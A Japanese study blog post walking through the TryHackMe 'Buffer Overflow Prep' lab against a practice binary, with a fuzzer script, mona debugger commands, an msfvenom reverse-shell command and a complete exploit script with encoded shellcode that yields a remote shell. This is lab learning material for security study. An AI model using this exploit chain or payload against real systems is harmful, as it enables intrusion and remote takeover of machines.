家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Try Hack Me】Buffer Overflow Prepをやってみた

概要

この記事は「Try Hack Me」の「Buffer Overflow Prep」をやりながら、Buffer Overflowについて調べたことをまとめた記事です。

Buffer Overflowとは

Buffer Overflow(BOF)とは脆弱性の一種で、プログラムがメモリ上の特定領域(バッファ)にデータを保存する時に、バッファのサイズより大きなデータが書き込まれ、バッファをはみ出し別のメモリ領域にまでかきこまれることで発生します。

これにより、元々のメモリにあったデータが破壊され、悪意のあるコードが実行される可能性があります。

 

用語など

ファジング

ファジングは、ソフトウェアのテスト手法の一つで、様々な種類のデータを入力してみて不具合がないか調べるものです。

BOFの脆弱性調査の工程においては、大量のデータを送り込んだ際にプログラムがバッファにデータを保存する際の挙動より、BOFの可能性を調査できます。

レジスタの説明

BOFの脆弱性を攻撃する際に関連するレジスタについて以下に記載します。

  • EIP (Extended Instruction Pointer)
    EIPは次に実行すべきネイティブコードのアドレスを保持します。これはプログラムカウンタとも呼ばれ、CPUが次に実行する命令のメモリアドレスを示します。
  • ESP (Stack Pointer)
    ESPは現在のスタックの先頭を指すポインタです。スタックにデータをプッシュするとESPの値が減少し、スタックからデータをポップするとESPが増加します。
  • EAX
    EAXは32ビットの汎用レジスタで、様々なデータの一時的な格納に使用されます。

BOFでは、EIPレジスタに攻撃のためのコードを格納したアドレスを指定させることで攻撃を行います。

 

Buffer Overflow Prepについて

タスクについて

タスクは以下の流れで進みます。

Immunity Debuggerの実行

タスクを進める中で何度もImmunity Debuggerの起動・停止を繰り返し実行します。
起動はデスクトップ上の Immunity Debuggerを「管理者として実行」します。
Immunity Debuggerが起動したら「oscp.exe」を選択します。
バイナリは「一時停止」状態で開くので、赤い再生アイコンをクリックするか、「F9」で実行します。

 

Immunity Debuggerの状態確認

Immunity Debuggerを実行した後、Kaliからncで1337ポートにアクセスすると、OVERFLOW1~10までのコマンドが確認できます。
各タスクではそれぞれのコマンドに対してBOFの攻撃を行います。

 

monaスクリプトの初期設定

monaの作業フォルダを事前に指定することで後の作業(特にBadcharacterの探索)の際に役に立ちます。

!mona config -set workingfolder c:\mona\%p

monaコマンドはImmunity Debuggerの下部にある入力ボックスで実行できます。

monaコマンド入力欄

 

ファジング

以下のPythonコードでファジングを行います。(fuzzer.py)
このコードは、「A」の連続した長い文字列を送信します。
実行してoscp.exeが停止した時点で送信された最大バイト数をメモします。

 

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.130.8"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

fuzzer.py実行結果

 

オフセットの探索

次にKaliで以下のコマンドを実行して、oscp.exeを停止させたバイト長より400バイト長い周期パターンを生成します。
プログラムが停止した際に、周期的なパターンがどのようにメモリに書き込まれているかを調べることで、メモリ上の書き込み可能な位置を把握します。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l クラッシュしたバイト数+400バイトの数字

上記コマンドの実行結果を以下のプログラムのペイロード部分に指定します。(exploit.py)

コマンドの実行結果

 

import socket

ip = "10.10.100.28"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "ここにコマンドの実行結果を貼り付け"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

再びImmunity Debuggerで、oscp.exeを実行し、ペイロード変数を更新したexploit.pyを実行します。

oscp.exeが停止した後、以下のコマンドを実行します。

!mona findmsp -distance クラッシュしたバイト数+400バイトの数字

「findmsp」は「Find Metasploit Pattern」の略で、Metasploitのパターンを探すという意味です。
「-distance 」は、生成したパターンの長さを指定します。
このコマンドを実行すると、monaはメモリダンプを取得し、その中からMetasploitのパターンを探します。
そして、そのパターンがどのようにメモリに配置されているか、また、どの部分が上書きされているかを特定します。
これにより、EIP(Instruction Pointer)を制御するために必要な正確なオフセットを見つけることができます。
exploit.pyを実行後「LOG」のウィンドウを表示し以下の行を確認します。

EIP contains normal pattern : ... (offset XXXX)

なお、オフセット探索時にexploit.pyの retn等に入力していると正常なオフセットが取得できません。

 

オフセットの値が確認できたらexploit.pyのオフセット変数にこの値を入力し、ペイロード変数を空に戻します。
また、retn変数を「BBBB」に設定します。
oscp.exeを再起動し、変更したexploit.py スクリプトを再度実行します。
EIPレジスタが4つの「B」(42424242)で上書きされることを確認します。

 

Badcharacterの探索

再度oscp.exeを実行し、以下のmonaコマンドでbytearrayを生成します。

!mona bytearray -b "\x00"

次にKali上でbytearrayと同じ文字列を生成します。

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

上記の実行結果をexploit.pyペイロード変数に指定します。
oscp.exeがrunnning状態で変更したexploit.pyを再度実行します。
ESPレジスタが指すアドレスをメモし、次のmona コマンドを実行します。

 

!mona compare -f C:\mona\oscp\bytearray.bin -a ESPレジスタの値

 

BadCharsの候補

 

「mona Memory comparsion results」というラベルのウィンドウが表示されます。
「BadChars」には生成されたbytearray.binファイル内の文字とメモリ内で異なる文字が表示されます。
これらすべてが不良文字であるとは限らないため、それぞれの文字を対象にさらに調査を行います。方法としては、

1.oscp.exeを再起動し、「!mona bytearray -b "\x00"」に次の確認文字を追加する。
例:BadCharsに「16」が含まれる場合:!mona bytearray -b "\x00\x16"

 

2.上記で指定したバイトをexploit.pyのpayloadから削除する。

payloadから削除

 

3.再度exploit.pyを実行する。

 

4.停止した状態のESPレジスタの値を取得し、以下のコマンドを実行する。

!mona compare -f C:\mona\oscp\bytearray.bin -a ESPレジスタの値

「mona Memory comparsion results」というラベルのウィンドウが表示されます

この時、ペイロードから消したBadcharが消え、その隣のバイトが結果から消えていた場合、ペイロードから削除したバイトがBadcharacterとなります。

消したはずのバイトが残っている状態(\x16の例)

なお、隣り合うバイトがどちらもBadCharの場合は、隣り合う2つのバイトをペイロードから削除して実行すると上記の結果に2つのバイトがBadCharとして残ります。

隣り合うバイトがどちらもBadCharの場合、調査過程では以下のようになります。

  • 先のバイトのみ消去:消したバイトと次のバイトがBadCharに提示される
  • 後のバイトのみ消去:先のバイトと、消したバイトの次のバイトが新たに提示される

 

5.上記の結果に残っているBadCharに対して調査を繰り返します。
その際、判明したBadCharはペイロードから削除した状態で行います。
そして最終的に結果のステータスが「Unmodified」を返すまで、BadCharの比較を繰り返します。

最終的な結果

ジャンプポイントの探索

oscp.exeを実行中に以下のmonaコマンドを実行します。

!mona jmp -r esp -cpb "確認したBadCharすべて記載"

このコマンドはBadCharを含まない、ESPレジスタへのジャンプポイントを探すためのコマンドです。

  • jmp:ジャンプポイントを探すためのコマンドです。
  • -r esp:ESPレジスタへのジャンプポイントを探します。
  • -cpb "\x00:Badcharacterを含まないジャンプポイントを探します。

このコマンドは、指定されたBadCharを含まないアドレスを持つすべての「jmp esp」(または同等の)命令を検索します。
結果は「Log data」ウィンドウに表示されます。

実行結果

 

exploit.pyの「retn」変数に上記で取得できたアドレスを、逆方向で設定します。
※逆方向に指定するのはシステムがリトルエンディアンであるため。

 

ペイロードの生成

KaliのIP及びポートをLHOST、LPORTとし、確認できたbadchar(\x00 を含む)を「-b」オプションで指定して、以下のコマンドを実行します。

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "特定したBadChar" -f c

コマンドの実行結果

上記の実行結果をexploit.pyのペイロードに指定します。
また、ペイロード自体を解凍するためにメモリ内にある程度のスペースが必要になる為、パディング変数を 16 以上の「操作なし」(\x90) バイトの文字列に設定します。

padding = "\x90" * 16

最終的に作成されたexploit.pyは以下の通りです。

import socket

ip = "10.10.100.168"
port = 1337

prefix = "OVERFLOW5 "
offset = 314
overflow = "A" * offset
retn = "\xAF\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xfc\xbb\x64\x90\xf6\x84\xeb\x0c\x5e\x56\x31\x1e\xad\x01"
"\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x98\x78\x74"
"\x84\x60\x79\x19\x0c\x85\x48\x19\x6a\xce\xfb\xa9\xf8\x82"
"\xf7\x42\xac\x36\x83\x27\x79\x39\x24\x8d\x5f\x74\xb5\xbe"
"\x9c\x17\x35\xbd\xf0\xf7\x04\x0e\x05\xf6\x41\x73\xe4\xaa"
"\x1a\xff\x5b\x5a\x2e\xb5\x67\xd1\x7c\x5b\xe0\x06\x34\x5a"
"\xc1\x99\x4e\x05\xc1\x18\x82\x3d\x48\x02\xc7\x78\x02\xb9"
"\x33\xf6\x95\x6b\x0a\xf7\x3a\x52\xa2\x0a\x42\x93\x05\xf5"
"\x31\xed\x75\x88\x41\x2a\x07\x56\xc7\xa8\xaf\x1d\x7f\x14"
"\x51\xf1\xe6\xdf\x5d\xbe\x6d\x87\x41\x41\xa1\xbc\x7e\xca"
"\x44\x12\xf7\x88\x62\xb6\x53\x4a\x0a\xef\x39\x3d\x33\xef"
"\xe1\xe2\x91\x64\x0f\xf6\xab\x27\x58\x3b\x86\xd7\x98\x53"
"\x91\xa4\xaa\xfc\x09\x22\x87\x75\x94\xb5\xe8\xaf\x60\x29"
"\x17\x50\x91\x60\xdc\x04\xc1\x1a\xf5\x24\x8a\xda\xfa\xf0"
"\x1d\x8a\x54\xab\xdd\x7a\x15\x1b\xb6\x90\x9a\x44\xa6\x9b"
"\x70\xed\x4d\x66\x13\x18\x9f\x77\x28\x74\x9d\x87\xbf\xd9"
"\x28\x61\xd5\xf1\x7c\x3a\x42\x6b\x25\xb0\xf3\x74\xf3\xbd"
"\x34\xfe\xf0\x42\xfa\xf7\x7d\x50\x6b\xf8\xcb\x0a\x3a\x07"
"\xe6\x22\xa0\x9a\x6d\xb2\xaf\x86\x39\xe5\xf8\x79\x30\x63"
"\x15\x23\xea\x91\xe4\xb5\xd5\x11\x33\x06\xdb\x98\xb6\x32"
"\xff\x8a\x0e\xba\xbb\xfe\xde\xed\x15\xa8\x98\x47\xd4\x02"
"\x73\x3b\xbe\xc2\x02\x77\x01\x94\x0a\x52\xf7\x78\xba\x0b"
"\x4e\x87\x73\xdc\x46\xf0\x69\x7c\xa8\x2b\x2a\x9c\x4b\xf9"
"\x47\x35\xd2\x68\xea\x58\xe5\x47\x29\x65\x66\x6d\xd2\x92"
"\x76\x04\xd7\xdf\x30\xf5\xa5\x70\xd5\xf9\x1a\x70\xfc\xf9"
"\x9c\x8e\xff")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

 

exploit実行

上記を設定後、ncで待ち構えた状態でexploit.pyを実行するとシェルが取得できます。

シェルの取得

 

最後までご覧いただきありがとうございます。